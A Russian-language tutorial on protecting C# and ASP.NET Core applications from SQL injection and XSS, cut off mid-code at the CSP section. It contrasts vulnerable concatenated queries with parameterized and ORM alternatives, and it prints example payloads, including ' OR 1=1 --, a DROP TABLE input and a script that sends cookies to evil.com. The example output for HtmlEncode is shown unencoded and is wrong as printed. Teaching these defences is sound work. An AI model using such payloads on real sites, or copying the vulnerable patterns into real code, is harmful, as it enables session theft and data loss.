Предисловие: почему безопасность — это не опция, а базовая гигиена
Представьте: вы пишете крутой веб-сервис на C#. Всё работает идеально — пользователи регистрируются, оставляют комментарии, ищут товары. А потом приходит «хакер Вася» (который на самом деле просто скопировал скрипт из интернета) — и сливает всю базу данных. Или, что ещё хуже, вставляет в вашу страницу скрипт, который крадёт куки всех посетителей.
Звучит как сценарий фильма ужасов? А ведь такое происходит каждый день. По статистике OWASP, инъекции (SQL, XSS, LDAP) входят в топ-3 самых опасных уязвимостей веб-приложений. И C#, при всей своей надёжности, не даёт вам immunity-щита по умолчанию.
В этой статье мы разберём две самые горячие атаки — SQL-инъекции и XSS (межсайтовый скриптинг). Вы получите не просто теорию, а боевые приёмы защиты на C# с реальными примерами кода. Поехали!
SQL-инъекции: когда пользователь становится хакером
Как это выглядит на практике
Допустим, у вас есть простой вход в систему. Пользователь вводит логин и пароль, а вы формируете запрос так:
string login = txtLogin.Text;
string password = txtPassword.Text;
string query = "SELECT * FROM Users WHERE Login = '" + login + "' AND Password = '" + password + "'";
SqlCommand cmd = new SqlCommand(query, connection);
Выглядит логично? Ошибка! Если злоумышленник введёт в поле логина: ' OR 1=1 --, то запрос превратится в:
SELECT * FROM Users WHERE Login = '' OR 1=1 --' AND Password = '...'
Всё, что после -- — это комментарий. Условие 1=1 всегда истинно. Запрос вернёт всех пользователей, и аутентификация пройдена. А если вместо комментария вставить DROP TABLE Users? Прощай, база данных.
Защита №1: параметризованные запросы (ваш главный щит)
Лучшая защита от SQL-инъекций — никогда не склеивать строки вручную. Используйте параметры. SQL-сервер сам экранирует опасные символы, а ваша БД получает данные как значения, а не как код.
string login = txtLogin.Text;
string password = txtPassword.Text;
string query = "SELECT * FROM Users WHERE Login = @Login AND Password = @Password";
using (SqlConnection conn = new SqlConnection(connectionString))
{
SqlCommand cmd = new SqlCommand(query, conn);
cmd.Parameters.AddWithValue("@Login", login);
cmd.Parameters.AddWithValue("@Password", password);
conn.Open();
SqlDataReader reader = cmd.ExecuteReader();
// обработка результата
}
Обратите внимание: @Login и @Password — это параметры. Даже если пользователь введёт '; DROP TABLE Users; --, СУБД воспримет это как обычную строку, а не как код. Безопасно и элегантно.
Защита №2: хранимые процедуры
Ещё один мощный инструмент — хранимые процедуры. Они не только защищают от инъекций, но и улучшают производительность (планы запросов кешируются).
-- SQL Server
CREATE PROCEDURE GetUserByLogin
@Login NVARCHAR(50)
AS
BEGIN
SELECT * FROM Users WHERE Login = @Login
END
// C# код
using (SqlConnection conn = new SqlConnection(connectionString))
{
SqlCommand cmd = new SqlCommand("GetUserByLogin", conn);
cmd.CommandType = CommandType.StoredProcedure;
cmd.Parameters.AddWithValue("@Login", inputLogin);
conn.Open();
// ...
}
Защита №3: Entity Framework и ORM
Если вы используете Entity Framework (или любую другую ORM), вы уже частично защищены. EF генерирует параметризованные запросы автоматически. Но есть нюанс: сырые SQL-запросы через EF (метод FromSqlRaw) — это та же конкатенация. Будьте бдительны!
// ПЛОХО:
var users = context.Users.FromSqlRaw("SELECT * FROM Users WHERE Login = '" + input + "'").ToList();
// ХОРОШО:
var users = context.Users.FromSqlRaw("SELECT * FROM Users WHERE Login = @p0", input).ToList();
XSS-атаки: когда ваш сайт стреляет в посетителей
Что такое XSS и почему это больно
XSS (Cross-Site Scripting) — это когда злоумышленник внедряет в вашу страницу JavaScript-код. Пример: вы выводите комментарий пользователя на странице без фильтрации. Хакер пишет:
<script>document.location='http://evil.com/?cookie='+document.cookie</script>
Теперь каждый, кто откроет страницу с этим комментарием, отправит свои куки хакеру. А куки — это сессия, доступ к аккаунту и, возможно, к платёжным данным.
Защита №1: HTML-кодирование в ASP.NET Core
Современный ASP.NET Core уже содержит встроенные средства защиты. В Razor Pages и MVC по умолчанию все выводы кодируются. Но если вы используете @Html.Raw() — вы снимаете защиту. Используйте его только для доверенного контента.
// ПЛОХО: выводим "как есть"
@Html.Raw(userComment)
// ХОРОШО: автоматическое кодирование
@userComment
Если вам нужно вывести HTML (например, текст с форматированием от редактора), используйте библиотеку AngleSharp или HtmlSanitizer — они вырежут опасные теги и оставят только безопасные.
Защита №2: AntiXssEncoder (Microsoft Security Library)
Для более тонкой настройки используйте класс AntiXssEncoder из пакета Microsoft.Security.Application. Он умеет кодировать не только HTML, но и URL, XML, JavaScript.
using Microsoft.Security.Application;
string userInput = "<script>alert('XSS')</script>";
string safeOutput = Encoder.HtmlEncode(userInput);
// Результат: <script>alert('XSS')</script>
// Браузер покажет как текст, скрипт не выполнится
Защита №3: Content Security Policy (CSP)
Это уже не C#, а HTTP-заголовок, но он критически важен. CSP говорит браузеру: «Выполняй скрипты только с моего домена». Даже если хакер протащит <script> на страницу, браузер его заблокирует.
// В Startup.cs (ASP.NET Core)
app.Use(async (context, next) =>